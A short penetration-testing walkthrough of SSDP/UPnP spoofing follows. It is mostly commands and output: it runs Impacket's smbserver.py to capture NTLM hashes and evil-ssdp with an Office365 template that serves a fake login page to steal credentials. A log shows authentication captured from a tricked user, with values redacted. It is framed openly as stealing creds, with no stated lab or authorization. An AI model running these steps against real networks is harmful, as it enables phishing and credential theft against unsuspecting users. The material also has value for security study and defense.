

SSDP Spoofing

To spoof a UPnP device using SSDP the following steps need to be taken.


Start an SMB Server to host a malicious image. This allows us to snag NTLM credentials. Here I am using Impackets smbserver.py

```
root@kali:/opt/ActiveDirectory/impacket/examples# python smbserver.py -smb2support smb /tmp/smb
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
```

Tell evil-ssdp to use the Office365 template and office.microsoft.com login URL for faking a site to steal creds. Also define the IP address where the SMB Server can be accessed.

```
root@kali:~# cd /opt/ActiveDirectory/inspacket/examples; ./evil-ssdp -t office365 -u 'https://office.microsoft.com' -s 192.168.29.128
```



```
...by initstring (gitlab.com/initstring)
Additional contributors: Dwight Hohnstein
```

```
#####
[*] EVIL TEMPLATE:      ./templates/office365
[*] MSEARCH LISTENER:   eth0
[*] DEVICE DESCRIPTOR:  http://192.168.29.128:8888/ssdp/device-desc.xml
[*] SERVICE DESCRIPTOR: http://192.168.29.128:8888/ssdp/service-desc.xml
[*] PHISHING PAGE:      http://192.168.29.128:8888/ssdp/present.html
[*] REDIRECT URL:       https://office.microsoft.com
[*] SMB POINTER:        file:///192.168.29.128/smb/hash.jpg
#####
```

When the starts align we are able to obtain creds from a tricked user as well as an NTLM hash from the site they opened.

Below is an example of an NTLMv2 hash captured by the SMB Server.

```
root@kali:/opt/ActiveDirectory/impacket/examples# python smbserver.py -smb2support smb /tmp/smb
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
```

```
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (192.168.227.1,57192)
[*] AUTHENTICATE MESSAGE ([REDACTED])
[*] User [REDACTED]\[REDACTED] authenticated successfully
[*] [REDACTED]:[REDACTED]:[REDACTED]
```

```
[*] Handle: [Errno 104] Connection reset by peer
[*] Closing down connection (192.168.227.1,57192)
[*] Remaining connections []
[*] Incoming connection (192.168.227.1,57193)
[*] AUTHENTICATE MESSAGE ([REDACTED])
[*] [REDACTED] authenticated successfully
```